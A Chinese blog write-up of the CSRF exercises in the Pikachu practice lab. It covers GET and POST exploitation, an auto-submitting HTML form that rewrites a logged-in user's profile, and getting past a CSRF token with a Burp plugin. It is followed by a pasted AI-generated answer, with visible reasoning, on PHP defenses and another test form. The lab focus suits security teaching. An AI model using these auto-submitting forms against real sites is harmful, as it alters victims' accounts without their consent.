pikachu-CSRF模块

文章详细介绍了CSRF漏洞的两种类型(GET和POST),展示了如何通过诱骗用户点击恶意链接进行信息修改,以及如何利用CSRFtoken进行防御。还提到了使用暴力破解模块和绕过插件的尝试。


CSRF模块

参考文章

Pikachu靶场之CSRF漏洞详解_pikachu靶场csrf-优快云博客

1.CSRF(get)

这里点一下提示,发现有很多账号选择一个登录进去


登录进来之后下边有一个修改个人信息,点击一下,将地址修改一下,提交了之后信息也修改成功了,然后跳转到会员中心界面了

发现URL并没有变化,但是可以在bp中看到修改的信息,刚刚修改地址的那段已经在bp中拦截下来了


然后就得到了得到Get型的请求头部,然后在网址中访问


然后就能看到了,手机号和住址都被修改了

然后这样就是攻击成功,成功修改了用户的信息

bp中可以看到url,修改用户信息的时候,是不带任何不可预测的认证信息的。那么,这里应该是可以被利用的。

在用户登录状态下(其实这个链接里面是不包含用户名的,谁登录都无所谓,只要有人登录着就行,登录着的用户的信息就会被改成url提供的那些)

  1. CSRF(post)


第二关我们换一个账户来,依旧还是修改个人信息,然后在bp中查看信息


然后可以看见这次post传参和上一关的get不一样了,但还是有可以利用的信息,只是不再显示有url修改的参数了,但还是没有不可预测的认证信息,可以被利用。

攻击者可以搭建一个站点,在站点上做一个表单,诱导用户点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息 编写一个CSGF.html页面,代码如下所示,

<html>

<head>

<script>

window.onload = function() {

  document.getElementById("postsubmit").click();

}

</script>

</head>

<body>

<form method="post" action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php">

    <input id="sex" type="text" name="sex" value="girl" />

    <input id="phonenum" type="text" name="phonenum" value="88888" />

    <input id="add" type="text" name="add" value="GUET " />

    <input id="email" type="text" name="email" value="hhahahahahahaa" />

    <input id="postsubmit" type="submit" name="submit" value="submit" />

</form>

</body>

</html>

将这个保存为html文件,然后之后访问

访问之后就可以看到个人信息被修改了

3.CSRF token

换一个用户lucy,修改个人信息在bp中抓包,看到这是一个有token的

然后这里和bp的防token是一样的

可以看看我暴力破解模块的文章pikachu-暴力破解模块-优快云博客

OK然后这里发现没修改,去网上也看了看这方法可以,但是博主的方法我没成功弄出来

文章:
Pikachu系列——CSRF_pikachu csrf-优快云博客

但没事,bp中有CSRF token的绕过插件


然后在主机中输入主机ip   名输入token   值为token的值


这是插件没打开之前的,我重新修改了phonenum为66666,响应里面的是开了插件的能修改的,然后需要前后对比一下嘛


这是开了插件之后的,重新在请求点击发送,可能需要多点几次发送,就可以发现两个的值相同了,攻击成功!太牛逼了

<think>好的,用户想了解如何在Pikachu靶场中加强CSRF防护,需要防御方法和配置教程。首先,我需要回顾一下CSRF的基本概念和常见的防御方法。根据引用[1],CSRF的修复方案包括验证HTTP Referer字段、在请求地址中添加Token并验证、在HTTP头中自定义属性验证等。这些方法需要结合Pikachu靶场的实际环境来配置。 接下来,我需要考虑Pikachu靶场本身的安装和结构。根据引用[2],Pikachu的安装是通过访问特定URL并点击初始化完成的,所以配置修改可能需要操作服务器端的文件。例如,修改PHP代码来添加Token验证,或者调整服务器配置以检查Referer。 然后,引用[3]和[4]提到了靶场中的具体漏洞复现和攻击模块的使用,这可能涉及到如何在实际漏洞利用中绕过现有的防护措施,因此防御方法需要针对这些攻击路径进行加固。例如,在文件包含或提交表单的地方添加Token验证。 现在需要将这些防御方法具体化到Pikachu的配置步骤中。比如,对于Token验证,需要在表单生成时添加Token,并在处理请求时验证它。这可能涉及到PHP的Session管理和随机Token生成。对于Referer检查,可能需要修改服务器配置文件(如.htaccess)或在PHP脚本中添加检查逻辑。 此外,用户可能需要详细的步骤,比如如何修改特定文件,代码示例,以及测试方法。例如,在登录或敏感操作的表单中添加Token字段,并在后端验证。还要注意是否需要配置数据库或会话管理来存储和比对Token。 最后,要确保回答结构清晰,分步骤说明,并引用相关的资料来支持建议的有效性。同时,根据用户提供的引用,特别是引用[1]中的防御方案,需要准确对应到Pikachu的具体实现中,确保建议的可行性和正确性。</think>### Pikachu靶场CSRF防护配置指南 #### 一、CSRF防御核心方法 根据Pikachu靶场的特性,推荐采用以下三种主流防御方案: 1. **Token验证机制** ```php // 在表单生成页面添加Token session_start(); $token = bin2hex(random_bytes(32)); $_SESSION['csrf_token'] = $token; ``` ```php // 在表单处理页面验证Token if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) { die("CSRF Token验证失败"); } ``` 该方案通过生成不可预测的随机令牌实现双重验证[^1] 2. **Referer检查强化** ```php // 在敏感操作页面添加Referer检查 $allowed_domain = 'http://127.0.0.1/pikachu'; if (parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) !== parse_url($allowed_domain, PHP_URL_HOST)) { die("非法请求来源"); } ``` 需配合`.htaccess`配置强化: ```apache RewriteEngine On RewriteCond %{HTTP_REFERER} !^http://127.0.0.1/pikachu/.*$ [NC] RewriteRule .* - [F] ``` 3. **SameSite Cookie属性** 在`php.ini`中设置: ```ini session.cookie_samesite = Strict ``` #### 二、靶场配置步骤 1. **初始化安装** 访问`http://x.x.x.x/pikachu`完成靶场初始化[^2] 2. **修改核心文件** - 在`/inc/config.inc.php`中添加: ```php define('CSRF_TOKEN_KEY', '__anti_csrf'); ``` - 在表单模板文件(如`/vul/csrf/csrfget.php`)插入: ```html <input type="hidden" name="<?=CSRF_TOKEN_KEY?>" value="<?=$_SESSION['csrf_token']?>"> ``` 3. **中间件验证** 创建`/inc/csrf_protect.php`: ```php function validate_csrf() { if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!isset($_POST[CSRF_TOKEN_KEY]) || $_POST[CSRF_TOKEN_KEY] !== $_SESSION['csrf_token']) { header('HTTP/1.1 403 Forbidden'); exit('CSRF防护机制已生效'); } } $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } ``` #### 三、测试验证方法 1. 尝试构造恶意页面发起跨站请求: ```html <form action="http://127.0.0.1/pikachu/vul/csrf/csrfget/change.php" method="POST"> <input type="hidden" name="phone" value="666666"> </form> <script>document.forms[0].submit();</script> ``` 应触发`403 Forbidden`响应 2. 使用Burp Suite检测请求头: - 检查是否存在`SameSite=Strict`属性 - 验证每个POST请求携带有效Token #### 四、进阶加固方案 1. **二次认证机制**: 在敏感操作(如密码修改)增加短信/邮箱验证 2. **请求频率限制**: ```php // 在change.php中添加 if ($_SESSION['last_request'] > time() - 5) { die("操作过于频繁"); } $_SESSION['last_request'] = time(); ``` 3. **日志监控**: ```php // 记录可疑请求 file_put_contents('csrf.log', date('Y-m-d H:i:s').' '.$_SERVER['REMOTE_ADDR'].' '.$_SERVER['HTTP_REFERER'], FILE_APPEND); ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值